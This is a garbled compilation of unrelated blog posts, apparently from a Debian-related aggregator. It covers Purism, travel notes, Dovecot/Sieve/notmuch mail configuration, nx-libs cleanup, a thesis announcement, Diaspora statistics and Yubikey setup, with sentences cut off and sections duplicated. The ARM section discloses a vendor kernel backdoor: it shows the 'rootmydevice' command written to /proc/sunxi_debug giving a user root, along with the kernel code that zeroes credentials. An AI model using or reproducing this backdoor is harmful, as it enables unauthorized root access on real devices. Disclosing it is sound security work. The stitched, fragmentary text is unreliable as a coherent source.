| Publisher: | Andrew Groen |
| Copyright: | 2015 |
| Printing: | 2016 |
| ISBN: | 0-9909724-0-2 |
| Format: | Hardcover |
| Pages: | 171 |
| Publisher: | Andrew Groen |
| Copyright: | 2015 |
| Printing: | 2016 |
| ISBN: | 0-9909724-0-2 |
| Format: | Hardcover |
| Pages: | 171 |
So in the end it was a very successful first week, because I
I have also approached (of course!) Debian for creation of OEM installations ISOs for our Librem products. This way, with every sold Librem that ships with Debian preinstalled, Debian will get donation. It is our way to show gratitude to Debian for all the work our community does (yes, I am still extremely proud Debian dude and I will stay like that!). Oh yes, I am the chief technology person at Purism, and besides all goals we have, I also plan (dream) about Purism being the company that has highest number of Debian Developers. In that terms I am very proud to say that Matthias Klumpp became part of Purism. Hopefully we soon extend the number of Debian population in Purism.
Of course, I think it is fairly known that I am easy to approach so if anyone has any questions (as I didn't want this post to be too long) feel free to contact me. Also - in Free software spirit - we welcome any community engagement, suggestion and/or feedback.
I spent last night in San Francisco on my way from Tucson to Seoul.
This morning as I headed to the airport, I caught the end of a shouted
conversation between a down-and-out and a couple of middle school-aged
girls, who ran away back to the Asian Art museum as the conversation
ended. A security guard told the man that he needed him to go away.
The wealth divide so visible here just isn t something you really see
around Tucson.
I m working on a new module for Propellor that s complicated enough
that I need to think carefully about the Haskell in order to write
produce a flexible and maintainable module. I ve only been doing an
hour or so of work on it per day, but the past few days I wake up each
day with an idea for restructuring yesterday s code. These ideas
aren t anything new to me: I think I m just dredging up the
understanding of Haskell I developed last year when I was studying it
more actively. Hopefully this summer I can learn some new things
about Haskell.
Riding on the Bay Area Rapid Transit (BART) feels like stepping back
in time to the years of Microsoft s ascendency, before we had a tech
world dominated by Google and Facebook: the platform announcements are
in a computerised voice that sounds like it was developed in the
nineties. They ll eventually replace the old trains apparently some
new ones are coming in 2017 so I feel privileged to have been able
to ride the older ones. I feel the same about the Tube in London.
I really appreciate old but supremely reliable and effective public
transport. It reminds me of the Debian toolchain: a bit creaky, but
maintained over a sufficiently long period that it serves everyone a
lot better than newer offerings, which tend to be produced with
ulterior corporate motives.
In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.
Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.
In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingenier a, UNAM. It has been quite successful And fun.
Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.
As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:
Debian GNU/Linux 8 bananapi ttyS0 banana login: gwolf Password: Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0 Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. gwolf@banana:~$ id uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev) gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug gwolf@banana:~$ id groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)
if(!strncmp("rootmydevice",(char*)buf,12)) cred = (struct cred *)__task_cred(current); cred->uid = 0; cred->gid = 0; cred->suid = 0; cred->euid = 0; cred->euid = 0; cred->egid = 0; cred->fsuid = 0; cred->fsgid = 0; printk("now you are root\n");
--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -44,5 +44,5 @@
protocol lda
# Space separated list of plugins to load (default is global mail_plugins).
- #mail_plugins = $mail_plugins
+ mail_plugins = $mail_plugins sieve
Then I had to switch from procmail to dovecot for local delivery, that
was easy, in Postfix's perennial main.cf:
#mailbox_command = /usr/bin/procmail -a "$EXTENSION"
mailbox_command = /usr/lib/dovecot/dovecot-lda -a "$RECIPIENT"
Note that dovecot takes the full recipient as an argument, not just
the extension. That's normal. It's clever, it knows that kind of
stuff.
One last tweak I did was to enable automatic mailbox creation and
subscription, so that the automatic extension filtering (below) can
create mailboxes on the fly:
--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -37,10 +37,10 @@
#lda_original_recipient_header =
# Should saving a mail to a nonexistent mailbox automatically create it?
-#lda_mailbox_autocreate = no
+lda_mailbox_autocreate = yes
# Should automatically created mailboxes be also automatically subscribed?
-#lda_mailbox_autosubscribe = no
+lda_mailbox_autosubscribe = yes
protocol lda
# Space separated list of plugins to load (default is global mail_plugins).
~/.dovecot.sieve, since I'm running Dovecot. Your provider may
accept an arbitrary ruleset like this, or you may need to go through a
web interface, or who knows. I'm assuming you're running Dovecot and
have a shell from now on.
The first part of the file is simply to enable a bunch of extensions,
as needed:
# Sieve Filters
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples
# https://tools.ietf.org/html/rfc5228
require "fileinto";
require "envelope";
require "variables";
require "subaddress";
require "regex";
require "vacation";
require "vnd.dovecot.debug";
Some of those are not used yet, for example I haven't tested the
vacation module yet, but I have good hopes that I can use it as a
way to announce a special "urgent" mailbox while I'm traveling. The
rationale is to have a distinct mailbox for urgent messages that is
announced in the autoreply, that hopefully won't be parsable by bots.
########################################################################
# spam
# possible improvement, server-side:
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Filtering_using_the_spamtest_and_virustest_extensions
if header :contains "X-Spam-Flag" "YES"
fileinto "junk";
stop;
elsif header :contains "X-Spam-Level" "***"
fileinto "greyspam";
stop;
This puts stuff into the junk or greyspam folder, based on the
severity. I am very aggressive with spam: stuff often ends up in the
greyspam folder, which I need to check from time to time, but it beats
having too much spam in my inbox.
lists folder, with some
mailing lists getting their own folder:
########################################################################
# lists
# converted from procmail
if header :contains "subject" "FreshPorts"
fileinto "freshports";
elsif header :contains "List-Id" "alternc.org"
fileinto "alternc";
elsif header :contains "List-Id" "koumbit.org"
fileinto "koumbit";
elsif header :contains ["to", "cc"] ["lists.debian.org",
"anarcat@debian.org"]
fileinto "debian";
# Debian BTS
elsif exists "X-Debian-PR-Message"
fileinto "debian";
# default lists fallback
elsif exists "List-Id"
fileinto "lists";
The idea here is that I can safely subscribe to lists without
polluting my mailbox by default. Further processing is done in
Notmuch.
+extension tag on emails. If you send email to,
say, foo+extension@example.com then the emails end up in the foo
folder. This is done with the help of the following recipe:
########################################################################
# wildcard +extension
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Plus_Addressed_mail_filtering
if envelope :matches :detail "to" "*"
# Save name in $ name in all lowercase except for the first letter.
# Joe, joe, jOe thus all become 'Joe'.
set :lower "name" "$ 1 ";
fileinto "$ name ";
#debug_log "filed into mailbox $ name because of extension";
stop;
This is actually very effective: any time I register to a service, I
try as much as possible to add a +extension that describe the
service. Of course, spammers and marketers (it's the same really) are
free to drop the extension and I suspect a lot of them do, but it
helps with honest providers and this actually sorts a lot of stuff out
of my inbox into topically-defined folders.
It is also a security issue: someone could flood my filesystem with
tons of mail folders, which would cripple the IMAP server and eat all
the inodes, 4 times faster than just sending emails. But I guess I'll
cross that bridge when I get there: anyone can flood my address and I
have other mechanisms to deal with this.
The trick is to then assign tags to all folders so that they appear in
the Notmuch-emacs welcome view:
echo tagging folders
for folder in $(ls -ad $HOME/Maildir/$ PREFIX */ egrep -v "Maildir/$ PREFIX (feeds.* Sent.* INBOX/ INBOX/Sent)\$"); do
tag=$(echo $folder sed 's#/$##;s#^.*/##')
notmuch tag +$tag -inbox tag:inbox and not tag:$tag and folder:$ PREFIX $tag
done
This is part of my notmuch-tag script that includes a lot more
fine-tuned filtering, detailed below.
if anyof (exists "X-Cron-Env",
header :contains ["subject"] ["security run output",
"monthly run output",
"daily run output",
"weekly run output",
"Debian Package Updates",
"Debian package update",
"daily mail stats",
"Anacron job",
"nagios",
"changes report",
"run output",
"[Systraq]",
"Undelivered mail",
"Postfix SMTP server: errors from",
"backupninja",
"DenyHosts report",
"Debian security status",
"apt-listchanges"
],
header :contains "Auto-Submitted" "auto-generated",
envelope :contains "from" ["nagios@",
"logcheck@"])
fileinto "rapports";
# imported from procmail
elsif header :comparator "i;octet" :contains "Subject" "Cron"
if header :regex :comparator "i;octet" "From" ".*root@"
fileinto "rapports";
elsif header :comparator "i;octet" :contains "To" "root@"
if header :regex :comparator "i;octet" "Subject" "\\*\\*\\* SECURITY"
fileinto "rapports";
elsif header :contains "Precedence" "bulk"
fileinto "bulk";
sieve-filter .dovecot.sieve INBOX 2>&1 less
Well, this doesn't do anything. To really execute the filters, you
need the -e flags, and to write to the INBOX for real, you need
the -w flag as well, so the real run looks something more like this:
sieve-filter -e -W -v .dovecot.sieve INBOX > refilter.log 2>&1
The funky output redirects are necessary because this outputs a lot
of crap. Also note that, unfortunately, the fake run output differs
from the real run and is actually more verbose, which makes it really
less useful than it could be.
Archive.YYYY directory. For example, now all mails from 2015 are
archived in a Archive.2015 directory. I used to do this with Mutt
tagging and it was a little slow and error-prone. Now, i simply have
this Sieve script:
require ["variables","date","fileinto","mailbox", "relational"];
# Extract date info
if currentdate :matches "year" "*" set "year" "$ 1 ";
if date :value "lt" :originalzone "date" "year" "$ year "
if date :matches "received" "year" "*"
# Archive Dovecot mailing list items by year and month.
# Create folder when it does not exist.
fileinto :create "Archive.$ 1 ";
I went from 15613 to 1040 emails in my real inbox with this process
(including refiltering with the default filters as well).
~/.notmuch-config. The gist of it is:
[new]
tags=unread;inbox;
ignore=
#[maildir]
# synchronize_flags=true
# tentative patch that was refused upstream
# http://mid.gmane.org/1310874973-28437-1-git-send-email-anarcat@koumbit.org
#reckless_trash=true
[search]
exclude_tags=deleted;spam;
I omitted the fairly trivial [user] section for privacy reasons and
[database] for declutter.
Then I have a notmuch-tag script symlinked into
~/Maildir/.notmuch/hooks/post-new. It does way too much stuff to
describe in details here, but here are a few snippets:
if hostname grep angela > /dev/null; then
PREFIX=Anarcat/
else
PREFIX=.
fi
This sets a variable that makes the script work on my laptop
(angela), where mailboxes are in Maildir/Anarcat/foo or the
server, where mailboxes are in Maildir/.foo.
I also have special rules to tag my RSS feeds, which are generated by
feed2imap, which is documented shortly below:
echo tagging feeds
( cd $HOME/Maildir/ && for feed in $ PREFIX feeds.*; do
name=$(echo $feed sed "s#$ PREFIX feeds\\.##")
notmuch tag +feeds +$name -inbox folder:$feed and not tag:feeds
done )
Another example that would be useful is how to tag mailing lists, for
example, this removes the inbox tag and adds the notmuch tags to
emails from the notmuch mailing list.
notmuch tag +lists +notmuch -inbox tag:inbox and "to:notmuch@notmuchmail.org"
Finally, I have a bunch of special keybindings in
~/.emacs.d/notmuch-config.el:
;; autocompletion
(eval-after-load "notmuch-address"
'(progn
(notmuch-address-message-insinuate)))
; use fortune for signature, config is in custom
(add-hook 'message-setup-hook 'fortune-to-signature)
; don't remember what that is
(add-hook 'notmuch-show-hook 'visual-line-mode)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; keymappings
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(define-key notmuch-show-mode-map "S"
(lambda ()
"mark message as spam and advance"
(interactive)
(notmuch-show-tag '("+spam" "-unread"))
(notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "S"
(lambda (&optional beg end)
"mark message as spam and advance"
(interactive (notmuch-search-interactive-region))
(notmuch-search-tag (list "+spam" "-unread") beg end)
(anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "H"
(lambda ()
"mark message as spam and advance"
(interactive)
(notmuch-show-tag '("-spam"))
(notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "H"
(lambda (&optional beg end)
"mark message as spam and advance"
(interactive (notmuch-search-interactive-region))
(notmuch-search-tag (list "-spam") beg end)
(anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "l"
(lambda (&optional beg end)
"undelete and advance"
(interactive (notmuch-search-interactive-region))
(notmuch-search-tag (list "-unread") beg end)
(anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "u"
(lambda (&optional beg end)
"undelete and advance"
(interactive (notmuch-search-interactive-region))
(notmuch-search-tag (list "-deleted") beg end)
(anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "d"
(lambda (&optional beg end)
"delete and advance"
(interactive (notmuch-search-interactive-region))
(notmuch-search-tag (list "+deleted" "-unread") beg end)
(anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "d"
(lambda ()
"delete current message and advance"
(interactive)
(notmuch-show-tag '("+deleted" "-unread"))
(notmuch-show-next-open-message-or-pop)))
;; https://notmuchmail.org/emacstips/#index17h2
(define-key notmuch-show-mode-map "b"
(lambda (&optional address)
"Bounce the current message."
(interactive "sBounce To: ")
(notmuch-show-view-raw-message)
(message-resend address)
(kill-buffer)))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; my custom notmuch functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun anarcat/notmuch-search-next-thread ()
"Skip to next message from region or point
This is necessary because notmuch-search-next-thread just starts
from point, whereas it seems to me more logical to start from the
end of the region."
;; move line before the end of region if there is one
(unless (= beg end)
(goto-char (- end 1)))
(notmuch-search-next-thread))
;; Linking to notmuch messages from org-mode
;; https://notmuchmail.org/emacstips/#index23h2
(require 'org-notmuch nil t)
(message "anarcat's custom notmuch config loaded")
This is way too long: in my opinion, a bunch of that stuff should be
factored in upstream, but some features have been hard to get in. For
example, Notmuch is
really hesitant in marking emails as deleted. The community is
also very strict about having unit tests for everything, which makes
writing new patches a significant challenge for a newcomer, which will
often need to be familiar with both Elisp and C. So for now
I just have those configs that I carry around.
Emails marked as deleted or spam are processed with the following
script named notmuch-purge which I symlink to
~/Maildir/.notmuch/hooks/pre-new:
#!/bin/sh
if hostname grep angela > /dev/null; then
PREFIX=Anarcat/
else
PREFIX=.
fi
echo moving tagged spam to the junk folder
notmuch search --output=files tag:spam \
and not folder:$ PREFIX junk \
and not folder:$ PREFIX greyspam \
and not folder:Koumbit/INBOX \
and not path:Koumbit/** \
while read file; do
mv "$file" "$HOME/Maildir/$ PREFIX junk/cur"
done
echo unconditionnally deleting deleted mails
notmuch search --output=files tag:deleted xargs -r rm
Oh, and there's also customization for Notmuch:
;; -*- mode: emacs-lisp; auto-recompile: t; -*-
(custom-set-variables
;; from https://anarc.at/sigs.fortune
'(fortune-file "/home/anarcat/.mutt/sigs.fortune")
'(message-send-hook (quote (notmuch-message-mark-replied)))
'(notmuch-address-command "notmuch-address")
'(notmuch-always-prompt-for-sender t)
'(notmuch-crypto-process-mime t)
'(notmuch-fcc-dirs
(quote
((".*@koumbit.org" . "Koumbit/INBOX.Sent")
(".*" . "Anarcat/Sent"))))
'(notmuch-hello-tag-list-make-query "tag:unread")
'(notmuch-message-headers (quote ("Subject" "To" "Cc" "Bcc" "Date" "Reply-To")))
'(notmuch-saved-searches
(quote
((:name "inbox" :query "tag:inbox and not tag:koumbit and not tag:rt")
(:name "unread inbox" :query "tag:inbox and tag:unread")
(:name "unread" :query "tag:unred")
(:name "freshports" :query "tag:freshports and tag:unread")
(:name "rapports" :query "tag:rapports and tag:unread")
(:name "sent" :query "tag:sent")
(:name "drafts" :query "tag:draft"))))
'(notmuch-search-line-faces
(quote
(("deleted" :foreground "red")
("unread" :weight bold)
("flagged" :foreground "blue"))))/
'(notmuch-search-oldest-first nil)
'(notmuch-show-all-multipart/alternative-parts nil)
'(notmuch-show-all-tags-list t)
'(notmuch-show-insert-text/plain-hook
(quote
(notmuch-wash-convert-inline-patch-to-part notmuch-wash-tidy-citations notmuch-wash-elide-blank-lines notmuch-wash-excerpt-citations)))
)
I think that covers it.
[general]
accounts = Anarcat
ui = Blinkenlights
maxsyncaccounts = 3
[Account Anarcat]
localrepository = LocalAnarcat
remoterepository = RemoteAnarcat
# refresh all mailboxes every 10 minutes
autorefresh = 10
# run notmuch after refresh
postsynchook = notmuch new
# sync only mailboxes that changed
quick = -1
## possible optimisation: ignore mails older than a year
#maxage = 365
# local mailbox location
[Repository LocalAnarcat]
type = Maildir
localfolders = ~/Maildir/Anarcat/
# remote IMAP server
[Repository RemoteAnarcat]
type = IMAP
remoteuser = anarcat
remotehost = anarc.at
ssl = yes
# without this, the cert is not verified (!)
sslcacertfile = /etc/ssl/certs/DST_Root_CA_X3.pem
# do not sync archives
folderfilter = lambda foldername: not re.search('(Sent\.20[01][0-9]\..*)', foldername) and not re.search('(Archive.*)', foldername)
# and only subscribed folders
subscribedonly = yes
# don't reconnect all the time
holdconnectionopen = yes
# get mails from INBOX immediately, doesn't trigger postsynchook
idlefolders = ['INBOX']
Critical parts are:
postsynchook: obviously, we want to run notmuch after fetching
mailidlefolders: receives emails immediately without waiting for the
longer autorefresh delay, which means that most mailboxes don't
see new emails until 10 minutes in the worst case. unfortunately,
doesn't run the postsynchook so I need to hit G in Emacs to see
new mailquick=-1, subscribedonly, holdconnectionopen: makes most runs
much, much faster as it skips unchanged or unsubscribed folders and
keeps the connection to the server---
include-images: true
target-refix: &target "maildir:///home/anarcat/Maildir/.feeds."
feeds:
- name: Planet Debian
url: http://planet.debian.org/rss20.xml
target: [ *target, 'debian-planet' ]
I have obviously more feeds, the above is just and example. This will
deliver the feeds as emails in one mailbox per feed, in
~/Maildir/.feeds.debian-planet, in the above example.
.dovecot.sieve.log file in your home directory.
I also enabled debugging on the Sieve module
--- a/dovecot/conf.d/90-sieve.conf
+++ b/dovecot/conf.d/90-sieve.conf
@@ -51,6 +51,7 @@ plugin
# deprecated imapflags extension in addition to all extensions were already
# enabled by default.
#sieve_extensions = +notify +imapflags
+ sieve_extensions = +vnd.dovecot.debug
# Which Sieve language extensions are ONLY available in global scripts. This
# can be used to restrict the use of certain Sieve extensions to administrator
This allowed me to use debug_log function in the rulesets to output
stuff directly to the logfile.
notmuch-purge hack above. Dovecot and Maildir
formats support up to 26 flags, and there were discussions about
using those flags to synchronize with notmuch tags so that
multiple notmuch clients can see the same tags on different machines
transparently.
This, however, won't make Notmuch work on my phone or webmail or any
other more generic client: for that, Sieve rules are still very
useful.
I still don't have webmail setup at all: so to read email, I need an
actual client, which is currently my phone, which means I need to have
Wifi access to read email. "Internet Caf s" or "this guy's computer"
won't work as well, although I can always use ssh to login straight
to the server and read mails with Mutt.
I am also considering using X509 client certificates to authenticate
to the mail server without a passphrase. This involves configuring
Postfix, which seems simple enough. Dovecot's configuration
seems a little more involved and less well documented. It
seems that both [OfflimeIMAP][] and K-9 mail support client-side
certs. OfflineIMAP prompts me for the password so it doesn't get
leaked anywhere. I am a little concerned about building yet another
CA, but I guess it would not be so hard...
The server side of things needs more documenting, particularly the
spam filters. This is currently spread around this wiki, mostly in
configuration.
ssh on the
server without trusting the machine too much, although that only goes
so far... Of course, sudo is then out of the question and I must
assume that everything I see is also seen by the attacker, which can
also inject keystrokes and do all sorts of nasty things.
Since I also connected my email account on my phone, someone could
steal the phone and start impersonating me. The mitigation here is
that there is a PIN for the screen lock, and the phone is
encrypted. Encryption isn't so great when the passphrase is a PIN, but
I'm working on having a better key that is required on reboot, and the
phone shuts down after 5 failed attempts. This is documented in my
phone setup.
Client-side X509 certificates further mitigates those kind of
compromises, as the X509 certificate won't give shell access.
Basically, if the phone is lost, all hell breaks loose: I need to
change the email password (or revoke the certificate), as I assume the
account is about to be compromised. I do not trust Android security to
give me protection indefinitely. In fact, one could argue that the
phone is already compromised and putting the password there already
enabled a possible state-sponsored attacker to hijack my email
address. This is why I have an OpenPGP key on my laptop to
authenticate myself for critical operations like code signatures.
The risk of identity theft from the state is, after all, a tautology:
the state is the primary owner of identities, some could say by
definition. So if a state-sponsored attacker would like to masquerade
as me, they could simply issue a passport under my name and join a
OpenPGP key signing party, and we'd have other problems to deal with,
namely, proper infiltration counter-measures and counter-snitching.
Moxie, the lead developer of the Signal secure communication application, recently blogged on the tradeoffs between providing a supportable federated service and providing a compelling application that gains significant adoption. There's a set of perfectly reasonable arguments around that that I don't want to rehash - regardless of feelings on the benefits of federation in general, there's certainly an increase in engineering cost in providing a stable intra-server protocol that still allows for addition of new features, and the person leading a project gets to make the decision about whether that's a valid tradeoff.[mike@minobo nx-libs.35 (3.5.0.x)]$ cloc --match-f '.*\.(c cpp h)$' .
5624 text files.
5614 unique files.
2701 files ignored.
http://cloc.sourceforge.net v 1.60 T=18.59 s (302.0 files/s, 132847.4 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
C 3134 231180 252893 1326393
C/C++ Header 2274 78062 116132 349743
C++ 206 20037 13312 81607
-------------------------------------------------------------------------------
SUM: 5614 329279 382337 1757743
-------------------------------------------------------------------------------
On the current 3.6.x branch of nx-libs (at commit 6c6b6b9), this is where we are now: 662,635 lines of C/C++ code, amount of code reduced to a third of the original code lines.
[mike@minobo nx-libs (3.6.x)]$ cloc --match-f '.*\.(c cpp h)' .
2012 text files.
2011 unique files.
1898 files ignored.
http://cloc.sourceforge.net v 1.60 T=5.63 s (341.5 files/s, 161351.5 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
C 1015 74605 81625 463244
C/C++ Header 785 26992 34354 138063
C++ 122 16984 10804 61328
-------------------------------------------------------------------------------
SUM: 1922 118581 126783 662635
-------------------------------------------------------------------------------
The latest development branch currently has these statistics: 619,353 lines of C/C++ code, another 40,000 lines could be dropped.
[mike@minobo nx-libs (pr/libnx-xext-drop-unused-extensions)]$ cloc --match-f '.*\.(c cpp h)' .
1932 text files.
1931 unique files.
1898 files ignored.
http://cloc.sourceforge.net v 1.60 T=5.66 s (325.4 files/s, 150598.1 lines/s)
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
C 983 69474 77186 426564
C/C++ Header 738 25616 33048 131599
C++ 121 16984 10802 61190
-------------------------------------------------------------------------------
SUM: 1842 112074 121036 619353
-------------------------------------------------------------------------------
Dropping various libNX_X* shared libraries (and using X.org shared client libraries instead)
At first, various bundled libraries could be dropped from the nx-X11 code tree. Secondly, several of the bundled X.org libraries could be dropped, because we managed to build against those libraries as provided system-wide.
Then, and this undertaking is much trickier, we could drop nearly all Xlib extension libraries that are used by nxagent with its role of being an X11 client.
We could sucessfully drop these Xlib extension libraries from nx-X11, because we managed to build nxagent against the matching libraries in X.org: libNX_Xdmcp, libNX_Xfixes, libNX_XComposite, libNX_Xdamage, libNX_Xtst, libNX_Xinerama, libNX_Xfont, libNX_xkbui, and various others. All these droppings happened without a loss of functionality.
However, some shared X client libraries are not easy to remove without loss of functionality, or rather not removable at all.
Dropping libNX_Xrender
We recently dropped libNX_Xrender [2] and now build nxagent against X.org's libXrender. However, this cost us a compression feature in NX. The libNX_Xrender code has passages that do zero padding of the unused memory portions in non-32bit-depth glyphs (the NX_RENDER_CLEANUP feature). However, we have hope for being able to reintroduce that feature again later, but current efforts [3] still fail at run-time.
Dropping libNX_Xext is not possible...
...the libNX_Xext / Xserver Xext code has been cleaned up instead.
Quite an amount of research and testing has been spent on removing the libNX_Xext library from the build workflow of nxagent. However, it seems that building against X.org's libXext will require us to update the Xext part of the nxagent Xserver at the same time. While taking this deep look into Xext code, we dropped various Xext extensions from the nx-X11 Xserver code. The extensions that got dropped [5] are all extensions that already have been dropped from X.org's Xserver code, as well.
Further investigation, however, showed, that actually the only used client side extension code from libNX_Xext is the XShape extension. Thus, all other client side extension got dropped now in a very recent pull request [4].
Dropping libNX_X11 not easy, research summary given here
For the sake of dropping the Xlib library bundled with nx-libs, we have attempted at writing a shared library called libNX_Xproxy. This library is supposed to contain a subset of the NXtrans related Xlib code that NoMachine patched into X.org's libX11 (and libxtrans).
Results of this undertaking [6] so far:
I have officially published my doctoral thesis Lazy Evaluation: From natural semantics to a machine-checked compiler transformation (DOI: 10.5445/IR/1000054251). The abstract of the 226 page long document that earned me a summa cum laude reads
In order to solve a long-standing problem with list fusion, a new compiler transformation, 'Call Arity' is developed and implemented in the Haskell compiler GHC. It is formally proven to not degrade program performance; the proof is machine-checked using the interactive theorem prover Isabelle. To that end, a formalization of Launchbury s Natural Semantics for Lazy Evaluation is modelled in Isabelle, including a correctness and adequacy proof.and I assembled all relevant artefacts (the thesis itself, its LaTeX-sources, the Isabelle theories, various patches against GHC, raw benchmark results, errata etc.) at http://www.joachim-breitner.de/thesis/. Other, less retrospective news: My paper on the Incredible Proof Machine got accepted at ITP in Nancy, and I was invited to give a keynote demo about the proof machine at LFMTP in Porto. Exciting!
The leading social networks are the powerful new gatekeepers of the digital age. Proprietary de facto standards of the dominant companies have lead to the emergence of virtual information silos that can barely communicate with one another. Has Diaspora really lost the war? Or is there still a chance to succeed?Maybe some of you attended that talk or have already seen the recording. For those who haven't, here it is for your convenience: It's all about Social Networks and Gated Communities vs. open communities. It's like Facebook on the Gated Community side and Diaspora as an example on the other, the open side. At timecode 17:20 Katharina mentions that the Top10 of Diaspora pods have more than half a million users. But when you look more closely at the statistics from the-federation.info you can spot a different result that is most likely true for marketing statistic of Facebook as well: there is a difference between total users and current active users. Whereas indeed the total users are easily surpassing the half million users mark, it's a total different issue for the active users count of the last month: 15488 active users in total versus 546783 total users of the Top10 Diaspora sites. That's only 2.83% of active users. A quite awful turnaround rate. Many users are just quick lurkers, that came passing by, looking at Diaspora (and other alternative networks), get a quick login and a first try-out and never come back after a few days. I can confirm this from my own Friendica node at Nerdica.net where I currently have a total of 13 users: 7 users never posted any content, 1 user is already automatically set to expired because of this, and 8 users never came back after first day of registration. Therefor I cannot confirm with Katharinas conclusion that Diaspora "is not dead, it's pretty alive". All these alternative Social Networks are pretty much dead or - to put it in more friendly words - are alive in a rather small niche or small communities like data/privacy aware peoples. Am I happy about this? No, definitely not, because I am one of these data/privacy aware activits. I'm no big fan of such monolithic and centralized networks like Facebook. I'm a enthusiastic advocate of self-hosting and decentralized platforms and communication protocols, such as XMPP. So, what can be done about these kind of Gated Communities like Facebook? Are you still on Facebook, because most of your family and friends are over there and not on Diaspora/Friendica? Are you still using Skype instead of XMPP? Why are you doing this? I'm really interested in this, because I don't understand it. PS: please watch the video in full length! Katharina has some other good points as well! :)
Two Factor authentication and general improvement of my security infrastructure was long on my todo list. Some month ago I finally purchased a Yubikey NEO from Yubico and try to consistently use it as second factor, as well as gpg signing/encrypting device.
I am trying to get the best out of my Yubikey NEO by using as many of its functionality, in particular: Smartcard for my GNuPG keys, OTP similar to Google Authenticator and similar, as well as challenge-response for additional login security, as well as all that over NFC to not keep keys/passwords on my mobile phone.
While there are loads of guides (see the previous article on GnuPG for some of them), many of them are out-of-date for current distributions and GnuPG etc. So I tried to collect all I could find not the least to have a place to look it up in case I forget it again.
The Hardware
The Yubikey NEO is a great peace of hardware. I not even remotely understand how they manage that this little beast can do all these things and still work out without mixing things up. As far as I understand (please correct me) it has three independent circuits of communication:
$ ykpersonalize -m86 Firmware version 3.4.3 Touch level 1792 Unconfigured The USB mode will be set to: 0x86 Commit? (y/n) [n]: y $ |
SUBSYSTEMS=="usb", ATTRS idVendor =="1050", ATTRS idProduct =="0116", TAG+="uaccess" |
$ ykpersonalize -2 -ochal-resp -ochal-hmac -ohmac-lt64 -oserial-api-visible ... Commit? (y/n) [n]: y $ |
$ mkdir $HOME/.yubico $ ykpamcfg -2 -v ... Stored initial challenge and expected response in '/home/norbert/.yubico/challenge-123456'. $ |
Challenge: I am currently searching for a method to replace the second factor of they key optionally with a different authentication method, like a very difficult passphrase. This way I could log in even without my key, but in this case would need the complicated passphrase. From my reading of the pam manuals it seems to be possible, and I am planning to use pam_ssh and a specific login key with a complicated passphrase. I will report back when this is done.
YubiOATH (TOTP) Time based One Time Passwords (aka Google Authenticator style)
Without any setup whatsoever this worked out of the box. I use the Yubico Authenticator on my Android phone, and the dedicated application for the Linux desktop to create second factors for all kind of applications. Currently I am using it with Google login, Github, DropbBox, and WordPress (via the Two Factor plugin which can also be tweaked to use the NEO key as USB key via the FIDO U2F).
Challenge: If I start the Yubico Personalization GUI, I see two free slots so where are the TOTPs computed? That also means that I have one slot free and for now I don t know what to do with it
Yubikey OpenGPG applet setup
The Yubikeys support OpenPGP, and the applet is pre-installed (afaik), meaning you can directly configure the key and upload your keys. Here I use gpg2 (2.1) as it seems to better support card operations. To not interfere with the current gpg setup I use a temporary gpg home:
$ mkdir gpgtmp $ chmod go-rwx gpgtmp $ gpg2 --homedir gpgtmp --list-keys gpg: keybox 'gpgtmp/pubring.kbx' created gpg: gpgtmp/trustdb.gpg: trustdb created |
$ gpg-connect-agent --homedir gpgtmp --hex "scd apdu 00 f1 00 00" /bye" gpg-connect-agent: no running gpg-agent - starting '/usr/bin/gpg-agent' gpg-connect-agent: waiting for the agent to come up ... (5s) gpg-connect-agent: connection to agent established D[0000] 01 00 10 90 00 ..... OK |
